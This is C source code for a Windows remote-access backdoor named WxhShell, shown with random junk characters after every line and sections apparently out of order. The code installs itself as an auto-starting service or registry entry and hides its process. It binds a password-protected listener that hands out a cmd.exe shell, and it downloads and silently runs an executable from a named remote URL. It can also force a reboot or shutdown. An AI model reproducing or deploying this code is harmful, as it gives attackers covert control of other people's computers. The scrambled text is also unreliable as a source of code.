    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $>if@}u  
    if(Boot(SHUTDOWN)) KNvvYwFH]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0i|z$QRL~  
    else { TjDDvXY  
    closesocket(wsh); _`|te|ccF  
    ExitThread(0); MuI>ZoNF  
    } 9Kl:3C  
    break; 9$<1<  
    } m+m2<|%x  
  // 获取shell t_ju[xL5B  
  case 's': { #M/^n0E  
    CmdShell(wsh); 76 ] X  
    closesocket(wsh); d-%bRGo/  
    ExitThread(0); #LU<v  
    break; "|k 4<"]  
  } NAg9EaWja{  
  // 退出 `|rF^~6(dR  
  case 'x': { ,ICn]Pdz@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2?c##Izn  
    CloseIt(wsh); E!Ljq3iT`  
    break; Q3h_4{w  
    } .R";2f3  
  // 离开 U=ek_FO  
  case 'q': { z.vE RP56  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q vc$D{z  
    closesocket(wsh); rg5ZxN|g  
    WSACleanup(); =(aA`:Nl  
    exit(1); qz_'v{uAj  
    break; _dQg5CmlG  
        } "O (N=|b  
  } sd m4zV]&  
  } !vfbgK  
H\vd0DD;  
  // 提示信息 [uLwr$N<%L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NP#6'eH\  
} Q%T[&A}3B  
  } 1U?,}w   
k.5(d.*(  
  return; I,8f{T!O@"  
} Ez)hArxns  
w ag^Sk  
// shell模块句柄 MJ?fMR@  
int CmdShell(SOCKET sock) %$Sm ei  
{ 5|<jPc  
STARTUPINFO si; ](@HPAG]  
ZeroMemory(&si,sizeof(si)); :z-UnC||j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #Ch*a.tI@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~vPR9\e  
PROCESS_INFORMATION ProcessInfo; .D8|_B  
char cmdline[]="cmd"; [C-4*qOaa2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .91@T.  
  return 0; 1SK|4Am  
} ybY[2g2QJ  
_GbwyfA n#  
// 自身启动模式 3bN]2\   
int StartFromService(void) chC= $(5t  
{ E:$EK_?:t  
typedef struct Y W9+.Dc`  
{ hj4mbL  
  DWORD ExitStatus; 7B@ 1[  
  DWORD PebBaseAddress; :5W8S6[o  
  DWORD AffinityMask; VzTHW5B  
  DWORD BasePriority; !'qY  
  ULONG UniqueProcessId; %iq8dAW%  
  ULONG InheritedFromUniqueProcessId; \#(tI3  
}   PROCESS_BASIC_INFORMATION; &02I-lD4+  
+x(~!33[G  
PROCNTQSIP NtQueryInformationProcess; Y#<>N-X|kA  
A||,|He~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6"djX47j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AY x*Ngn  
P]^ BE;7T  
  HANDLE             hProcess; YZdV0 -S  
  PROCESS_BASIC_INFORMATION pbi; (~IoRhp^  
,L&d\M"f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~W..P:wG5  
  if(NULL == hInst ) return 0; zB68%  
)q|a Sd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VFI\2n`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "tF#]iQQ u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /?Y]wY  
|MMaaW^"  
  if (!NtQueryInformationProcess) return 0; ;@<Rh^g]  
rNN ,!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3YO %$  
  if(!hProcess) return 0; H.)Y*zK0.  
;O~k{5.iS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e2_p7   
dJ(<zz+;b  
  CloseHandle(hProcess); ]8+ D  
<L'6CBbP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $<da<}b  
if(hProcess==NULL) return 0; qokCVI-\  
]tx/t^&/\u  
HMODULE hMod; YAP,#a  
char procName[255]; IQ\5!e  
unsigned long cbNeeded; $n= w  
Y/<`C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Go1@;5I  
l.Q.G<ol  
  CloseHandle(hProcess); 8= "01  
^JM O POm  
if(strstr(procName,"services")) return 1; // 以服务启动 7R7e3p,K  
PJF1+I.%c#  
  return 0; // 注册表启动 :*I=' M9B  
} q@&6&cd  
H8!)zZ  
// 主模块 5"9 '=LV~  
int StartWxhshell(LPSTR lpCmdLine) OK" fFv  
{ .LI(2lP  
  SOCKET wsl;  7CwQmVe+  
BOOL val=TRUE; -{z<+(K!$  
  int port=0; 92(P~Sdv  
  struct sockaddr_in door; n@$("p  
6PyW(i(bs  
  if(wscfg.ws_autoins) Install(); N;` jz(r  
U ATF}x   
port=atoi(lpCmdLine); -P:o ^_)g  
eA_]%7+`  
if(port<=0) port=wscfg.ws_port; br,xwc  
LsxRK5   
  WSADATA data; BZOB\Ym  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lx{ ' bzv  
3|Y2BA d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E_ D0Nm%n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m*'hHt n  
  door.sin_family = AF_INET; uk9!rE"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7 -S?U~s  
  door.sin_port = htons(port); +z|@K=d#|  
qM18 Ji*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #h}a   
closesocket(wsl); ;_ S D W  
return 1; yu}yON  
} hem>@Bp'V  
n{I1ZlEeh  
  if(listen(wsl,2) == INVALID_SOCKET) { ,L=lg,lH^  
closesocket(wsl); : "^/?Sd  
return 1; B|K^:LUk9  
} %v4*$E!f  
  Wxhshell(wsl); DX_?-jw})f  
  WSACleanup(); VA5f+c/ %  
WBWIHv{j  
return 0; 1hY%Zsj C  
_0|@B8!J?  
} 4^Og9}bm  
Z+Cjg #+  
// 以NT服务方式启动 ~e _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z?n6l7sH  
{ "&C>=  
DWORD   status = 0; z&Xk~R*$  
  DWORD   specificError = 0xfffffff; 0TaN#  
ue1g(;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n0QHrIf{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b!<)x}-t>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?c<uN~fC=  
  serviceStatus.dwWin32ExitCode     = 0; \h/)un5  
  serviceStatus.dwServiceSpecificExitCode = 0; fTt\@" V  
  serviceStatus.dwCheckPoint       = 0; &NX7  
  serviceStatus.dwWaitHint       = 0; V an=dz G  
N~ajrv}kd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'Q"Mu  
  if (hServiceStatusHandle==0) return; O7oq1JI]Y  
mwutv8?  
status = GetLastError(); =I0J1Ob  
  if (status!=NO_ERROR) T"3:dkQw  
{ !0_/=mA^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v7/k0D .  
    serviceStatus.dwCheckPoint       = 0; >8|V[-H  
    serviceStatus.dwWaitHint       = 0; g:s|D hE[  
    serviceStatus.dwWin32ExitCode     = status; E/<n"'0ek  
    serviceStatus.dwServiceSpecificExitCode = specificError; O^n\lik  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OX7a72z  
    return; WmOu#5*;  
  } GX=U6n>  
pVM1%n:#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *v$j n  
  serviceStatus.dwCheckPoint       = 0; _*cKu>,O  
  serviceStatus.dwWaitHint       = 0; [A'e7Do%'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); " {X0&  
} @&x'.2[nv  
LYr9a(  
// 处理NT服务事件,比如:启动、停止 hka%!W5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 07]9VJa  
{ >a bp se  
switch(fdwControl) EE*|#  
{ :31?Z(fQ  
case SERVICE_CONTROL_STOP: .u'MMe>^  
  serviceStatus.dwWin32ExitCode = 0; BOD!0CR5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y;%\ w-.\  
  serviceStatus.dwCheckPoint   = 0; M/,lP  
  serviceStatus.dwWaitHint     = 0; NHcA6y$Cz  
  { 6~l+wu<$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -p"}K~lt:  
  } NiMsAI@j  
  return; C`-CfZZ  
case SERVICE_CONTROL_PAUSE: )NK#}c~5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x)pR^t7u8  
  break; m/q`k  
case SERVICE_CONTROL_CONTINUE: Cj=_WWo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o;21|[z  
  break; G#~U\QlG-  
case SERVICE_CONTROL_INTERROGATE: yg4#,4---b  
  break; 1\)C;c,  
}; Res4;C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5j v*C]z  
} ]Ot=At  
N_G84wxx  
// 标准应用程序主函数 a)L|kux;l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RXo6y(^  
{ hu >wcOt  
#ro$$I;  
// 获取操作系统版本 `.Zm}'  
OsIsNt=GetOsVer(); lavy?tFer  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <rvM)EJv|  
hkRqtpYK  
  // 从命令行安装 OdO n wY  
  if(strpbrk(lpCmdLine,"iI")) Install(); /([a%,DI  
v4K! BW  
  // 下载执行文件 WM%w_,Z  
if(wscfg.ws_downexe) { #xfav19{.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EnmMFxu<  
  WinExec(wscfg.ws_filenam,SW_HIDE); RY3=UeoF  
} +~|Jn_:A f  
G.$KP  
if(!OsIsNt) { Dbb=d8utE  
// 如果时win9x,隐藏进程并且设置为注册表启动 e}n(mq  
HideProc(); mmG]|Cl@  
StartWxhshell(lpCmdLine); o+L [o_er  
} m2&Vm~Py6b  
else ^Nu j/  
  if(StartFromService()) KEdqA/F>  
  // 以服务方式启动 J*_^~t  
  StartServiceCtrlDispatcher(DispatchTable); S<jiy<|`  
else `sA xk  
  // 普通方式启动 'blMwD{0&\  
  StartWxhshell(lpCmdLine); 0~P]Fw^w  
;mg.} fI  
return 0;  FLZ9Rg  
}  8hYl73#  
?2R!n" m-d  
g}IOHE  
zl|+YjR  
=========================================== Qn~{TZz  
$Ld-lQsL  
2 6 >9$S  
&gr  T@  
Vk*XiEfKm>  
s>1\bio*I  
" `GlOl-  
C,%Dp0  
#include <stdio.h> Anqt:(  
#include <string.h> 5j\Kej  
#include <windows.h> K7C!ZXw~  
#include <winsock2.h> K4o']{:U  
#include <winsvc.h> LK!sk5/  
#include <urlmon.h> Efoy]6P\  
TU;AO%5  
#pragma comment (lib, "Ws2_32.lib") /sn }Q-Zy2  
#pragma comment (lib, "urlmon.lib") mY[*Cj3WJ  
xAO\'#m  
#define MAX_USER   100 // 最大客户端连接数 df {\O* 6  
#define BUF_SOCK   200 // sock buffer HR?bnkv|id  
#define KEY_BUFF   255 // 输入 buffer  @' %XdH  
i[MBO`FF  
#define REBOOT     0   // 重启 K9Onjs% U  
#define SHUTDOWN   1   // 关机 SL`; `//  
}_-tJ.  
#define DEF_PORT   5000 // 监听端口 X"mPRnE330  
+Z-{6C  
#define REG_LEN     16   // 注册表键长度 X-Ev>3H  
#define SVC_LEN     80   // NT服务名长度 :fnJp9c  
.JTRFk{W  
// 从dll定义API }D`ZWTjDay  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,9"du  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z15 =vsV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X$G:3uoN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r\}?HS06  
etUfdZ  
// wxhshell配置信息 T XT<6(  
struct WSCFG { X}5"ZLa7l  
  int ws_port;         // 监听端口 Yakrsi/jV}  
  char ws_passstr[REG_LEN]; // 口令 XH0o8\.  
  int ws_autoins;       // 安装标记, 1=yes 0=no y|i(~  
  char ws_regname[REG_LEN]; // 注册表键名 P[$idRS&  
  char ws_svcname[REG_LEN]; // 服务名 P.g./8N`z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nq^o8q_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  Hyenn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,Z :2ba  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c<~DYe;;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mkPqxzxbrL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MiKq|  
M= |is*t  
}; ]Nw ]po+  
m5a'Vs  
// default Wxhshell configuration B*E"yB\NV  
struct WSCFG wscfg={DEF_PORT, I[gPW7&S@  
    "xuhuanlingzhe", 8r:T&)v  
    1, smn(q)tt  
    "Wxhshell", 2yD ?f8P4  
    "Wxhshell", DZLEx{cm  
            "WxhShell Service", 8|$g"? CU  
    "Wrsky Windows CmdShell Service", 9~2iA,xs  
    "Please Input Your Password: ", @HnahD  
  1, osmCwM4O  
  "http://www.wrsky.com/wxhshell.exe", '66nqJb*  
  "Wxhshell.exe" pHye8v4fvi  
    }; Cs,Cb2[  
 _VM}]A  
// 消息定义模块 XbeT x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h,-i\8gq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #Ye0*`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p&0 G  
char *msg_ws_ext="\n\rExit."; .wTb/x  
char *msg_ws_end="\n\rQuit."; ;Xqi;EA  
char *msg_ws_boot="\n\rReboot..."; `Fe/=]< $  
char *msg_ws_poff="\n\rShutdown..."; bD3d T>(+  
char *msg_ws_down="\n\rSave to "; K6)IBV;  
I>w|80%%  
char *msg_ws_err="\n\rErr!"; [} d39  
char *msg_ws_ok="\n\rOK!"; 9eE FX7  
;PqC *iz  
char ExeFile[MAX_PATH]; a;kiAJ'  
int nUser = 0; jsF5q~F  
HANDLE handles[MAX_USER]; ME$J?3r  
int OsIsNt; TEGg)\+D>  
Im};wJ&  
SERVICE_STATUS       serviceStatus; (lq%4h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j~=<O<P  
Jk:ZO|'Z  
// 函数声明 ()$m9%x  
int Install(void); [9}<N2,9z  
int Uninstall(void); ,J<+Wxz  
int DownloadFile(char *sURL, SOCKET wsh); ,%zE>^~  
int Boot(int flag); 3h%Nd &_9  
void HideProc(void); /QCg E ~  
int GetOsVer(void); YguW2R=6]  
int Wxhshell(SOCKET wsl); FPZ@6  
void TalkWithClient(void *cs); @at*E%T[  
int CmdShell(SOCKET sock); "(~fl<;  
int StartFromService(void); OwgPgrV  
int StartWxhshell(LPSTR lpCmdLine); !\$4A,  
EFu$>Z4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G9#3 |B-?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vXSA_" 0t  
QW_v\GHx  
// 数据结构和表定义 mq(K_  
SERVICE_TABLE_ENTRY DispatchTable[] = s0h0Ep ED  
{ %,@e- &>  
{wscfg.ws_svcname, NTServiceMain}, ;NAKU  
{NULL, NULL} P]2 /}\f  
}; Q84XmXm|  
(y\.uPu!  
// 自我安装 _`laP5~  
int Install(void) hv#LKyp%  
{ ^)$T`  
  char svExeFile[MAX_PATH]; vfVF^ WOd  
  HKEY key; )7AjRtb!/  
  strcpy(svExeFile,ExeFile); _W,?_"[R=  
rJtk4hOF  
// 如果是win9x系统,修改注册表设为自启动 P.=Dd"La  
if(!OsIsNt) { F4~O-g.<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h CV(O2jL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JE@3UXg  
  RegCloseKey(key); zP@\rZ@4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { onS4ZE3B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wh"xt:  
  RegCloseKey(key); ~H[_=  
  return 0; 9I#a{%A:  
    } %+#l{\z  
  } <~svy)Cz  
} Xg;<?g?k  
else { y.gNjc  
;7JyL|2  
// 如果是NT以上系统,安装为系统服务 us<dw@P7{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #k!;=\FV  
if (schSCManager!=0) |="Y3}a  
{ (9] =;)  
  SC_HANDLE schService = CreateService $%ztP Ta  
  ( B < HD  
  schSCManager, "CFU$~  
  wscfg.ws_svcname, /R( .7N  
  wscfg.ws_svcdisp, \ 9sJ`,T?  
  SERVICE_ALL_ACCESS, z~1S/,Ca  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1pN8,[hyR7  
  SERVICE_AUTO_START, {t:*Xu  
  SERVICE_ERROR_NORMAL, MQy,[y7I  
  svExeFile, m (kKUv  
  NULL, Np.<&`p!  
  NULL, =~dXP  
  NULL, h<WTN_i}  
  NULL,  xG'F  
  NULL y>r^ MQ  
  ); jq|fI P  
  if (schService!=0) JxRn)D  
  { sd*NY  
  CloseServiceHandle(schService); :0o]#7  
  CloseServiceHandle(schSCManager); i^4i]+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6HpiG`  
  strcat(svExeFile,wscfg.ws_svcname); : D !/.0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <c [X^8   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KJV],6d  
  RegCloseKey(key); FuFICF7+C  
  return 0; Rp}Sm,w(  
    } 6Q*zZ]kg  
  } .[6T7fdi  
  CloseServiceHandle(schSCManager); COH>B1W@  
} &>ykkrY  
} =feVT2*  
,pdf$) XB  
return 1; nEik;hAz  
} f4|ir3oy  
}|c-i.0=  
// 自我卸载 HLq2a vs\  
int Uninstall(void) F/df!I~  
{ P4s,N|bs`  
  HKEY key; %6:"tuA  
8ROZ]Xh,x  
if(!OsIsNt) { th{Ib@o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r#6djs1  
  RegDeleteValue(key,wscfg.ws_regname); 4X>=UO``L  
  RegCloseKey(key); LcHe5Bv%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -8t&&fIA  
  RegDeleteValue(key,wscfg.ws_regname); SMA' VU  
  RegCloseKey(key); wPJA+  
  return 0; )hfI,9I~  
  } -}H EV#ev  
} =~k#<q1^  
} TO] cZZ<  
else { ;\Pq  
dp'k$el  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xK_0@6  
if (schSCManager!=0)  .V l  
{ TF@k{_f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _Oc\hW  
  if (schService!=0) /@LUD=  
  { zf[KZ\6H   
  if(DeleteService(schService)!=0) { }eLth0d`'o  
  CloseServiceHandle(schService); 73+)> "x>  
  CloseServiceHandle(schSCManager); r}#,@<  
  return 0; qu/b:P  
  } 8fb<hq<  
  CloseServiceHandle(schService); a0&R! E;  
  } b5^-q c6X  
  CloseServiceHandle(schSCManager); ;k,#o!>  
} Mqmy*m[U  
} V_=7q=9mV  
p8E6_%Rw  
return 1; Twk,R. O  
} \U HI%1^  
xG,L*3c{o  
// 从指定url下载文件 OH`|aqN  
int DownloadFile(char *sURL, SOCKET wsh) zj#8@gbh+  
{ c7 O$< F  
  HRESULT hr; %I%OHs  
char seps[]= "/"; VP"C|j^I  
char *token; ;:w0%>X^  
char *file; *<ww~^a  
char myURL[MAX_PATH]; 1u_< 1X3  
char myFILE[MAX_PATH]; "pQ) 5/e  
F{ sPQf'  
strcpy(myURL,sURL); dpB\=  
  token=strtok(myURL,seps); b3+F~G-I"  
  while(token!=NULL) A04E <nr  
  { PO]c&}/  
    file=token; o/I`L  
  token=strtok(NULL,seps); <;zcz[~  
  } dZ,~yV  
tP|ox]  
GetCurrentDirectory(MAX_PATH,myFILE); - D^v:aC  
strcat(myFILE, "\\"); %j;mDR9 5  
strcat(myFILE, file); K,f- w2!  
  send(wsh,myFILE,strlen(myFILE),0); SG-Xgr@  
send(wsh,"...",3,0); h`V#)Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i0{sE  
  if(hr==S_OK) b|u0a6  
return 0; 7DW HADr  
else 42.y.LtZ  
return 1; t ;bU#THM  
f^@D uI  
} kD_616  
) t$o0!  
// 系统电源模块 k'-5&Q  
int Boot(int flag) (aSY.#;  
{ ~_ |ZUb  
  HANDLE hToken; crr#tad.  
  TOKEN_PRIVILEGES tkp; .=/TT|eMS  
 7D\:i1~  
  if(OsIsNt) { ew|e66Tw$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -zH` 9>J5|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _K<Z  
    tkp.PrivilegeCount = 1; ~)]R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YC =:W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xt X`3=s  
if(flag==REBOOT) { M I R))j;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UR DXyAt  
  return 0; w8(z\G_0  
} h)sQ3B.}A  
else { l]Q<BV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u=PYm+q{  
  return 0; 3mLtnRX[m  
} ]}>uvl^l  
  } {7LNQGiJ  
  else { :Wd@Qy?;  
if(flag==REBOOT) { rFG_CC2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <g{d >j  
  return 0; ;hJz'&UWQ  
} P] qL&_  
else { nlR7V.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NrWgaPO)i  
  return 0; =4:]V\o):'  
} )o_Pnq9_  
} 1'BC R  
`z?h=&N  
return 1; 6w4}4i  
} [F}_Ime  
:a'[ 4w  
// win9x进程隐藏模块 Ae_:Kc6  
void HideProc(void) ExZ|_7^<  
{ +`'>   
3 cF4xUIZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !A&>Eeai  
  if ( hKernel != NULL ) @ACq:+/Q c  
  { m"RSDM!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !6l}s$1i|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hm 17El68  
    FreeLibrary(hKernel); ]r(s02  
  } @Avve8S  
I9O%/^5^[w  
return; T1g3`7C3  
} lka Wwjv_D  
cX4I+Mf  
// 获取操作系统版本 F`RPXY`ux  
int GetOsVer(void) %SN"<O!  
{ tqwAS)v=  
  OSVERSIONINFO winfo; u/(~ew I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &^(4yw(~  
  GetVersionEx(&winfo); X@H/"B%u2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {P!1VYs5  
  return 1; 4O:y ?D/e  
  else F8d:7`lO@/  
  return 0; (KnU-E]L  
} c, FZ{O@  
0artR~*}  
// 客户端句柄模块 g& ?{^4t]  
int Wxhshell(SOCKET wsl) l$g \t]  
{ L(t!C~3  
  SOCKET wsh; NM0s*s42  
  struct sockaddr_in client; Fu[<zA^  
  DWORD myID; y4j\y ? T8  
qcGsx2  
  while(nUser<MAX_USER) -DL"Yw}  
{ dd:vQOF;  
  int nSize=sizeof(client); >h{)7Hv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }}gtz-w  
  if(wsh==INVALID_SOCKET) return 1; J)._&O$  
0Q!/A5z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u Xo?  
if(handles[nUser]==0) x<\5Jrqt  
  closesocket(wsh); KK, t!a  
else _o'a|=Osx>  
  nUser++; g1&>.V}!  
  } EClx+tz;`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \x<i6&.  
T*jQzcm~?  
  return 0; aXh~w<5F  
} )8*}-z  
\"1%>O*  
// 关闭 socket @cu#rWiG  
void CloseIt(SOCKET wsh) uo-1.[9ds  
{ eNu]K,rT  
closesocket(wsh); @|EWif|  
nUser--; sr-tZ^d5S?  
ExitThread(0); e&-MP;kgW9  
} ) m(!lDz3  
Wg\MaZ6Di  
// 客户端请求句柄 BI+x6S>d  
void TalkWithClient(void *cs) j] J-#J  
{ m"GgaH3,  
R^&.:;Wi>  
  SOCKET wsh=(SOCKET)cs; 2"IDz01ne  
  char pwd[SVC_LEN]; \Sv8c}8  
  char cmd[KEY_BUFF]; @Io@1[kj  
char chr[1]; <HH\VG\H6  
int i,j; dheobD  
/Csk"IfuO  
  while (nUser < MAX_USER) { S9%ZeM +  
@K1'Q!S *  
if(wscfg.ws_passstr) { /B)`pF.n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YT}ZLx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ToM1#]4  
  //ZeroMemory(pwd,KEY_BUFF); V@r V +s  
      i=0; BKKW3PT  
  while(i<SVC_LEN) { <kKuis6h  
;e0-FF+  
  // 设置超时 & X#6jTh+  
  fd_set FdRead; r7-H`%.  
  struct timeval TimeOut; 2hsRYh  
  FD_ZERO(&FdRead); uSUog+i  
  FD_SET(wsh,&FdRead); A$70!5*  
  TimeOut.tv_sec=8; bMB*9<c~  
  TimeOut.tv_usec=0; <RuLIu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {'sp8:$a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >f70-D28  
5O[\gd-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L [&|<<c  
  pwd=chr[0]; \1<8'at  
  if(chr[0]==0xd || chr[0]==0xa) { ~(\ .j=x  
  pwd=0; B["jndyr  
  break; >!bw8lVV  
  } 'Lh nl3  
  i++; 6'Q*SO;1gh  
    } lP *p7Y '  
Og7^7))  
  // 如果是非法用户,关闭 socket $},_O8R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N"s"^}M\  
} Jw0I$W/  
Zmm6&OZ%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GD% qrK?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iLQ;`/j  
s*R UYx  
while(1) { XbIxGL  
U#:N/ts*(  
  ZeroMemory(cmd,KEY_BUFF); X 4\V4_  
>dXB)yl  
      // 自动支持客户端 telnet标准   T%4yPmY  
  j=0; >4bWXb'S}C  
  while(j<KEY_BUFF) { o:`^1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `=%G&_3_<  
  cmd[j]=chr[0]; PLq]\y  
  if(chr[0]==0xa || chr[0]==0xd) { o)+C4f[G4  
  cmd[j]=0; g%okYH?  
  break; Pq1j  
  } Kx02 2rgDU  
  j++; /0b7"Kr  
    } N ;Cs? C  
+/ ?oyC+Z  
  // 下载文件 ^O<@I  
  if(strstr(cmd,"http://")) { Y>x3`f]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a]!u go}  
  if(DownloadFile(cmd,wsh)) .|@2Uf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vi#[k n'  
  else wb ^>/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f9t+x+ Z  
  } 2 SU  
  else { Bf;<3k)5.  
A@Cvx7X  
    switch(cmd[0]) { ~:*V'/2k  
  #vc!SI  
  // 帮助 M zF,is  
  case '?': { F~/~_9RJ  
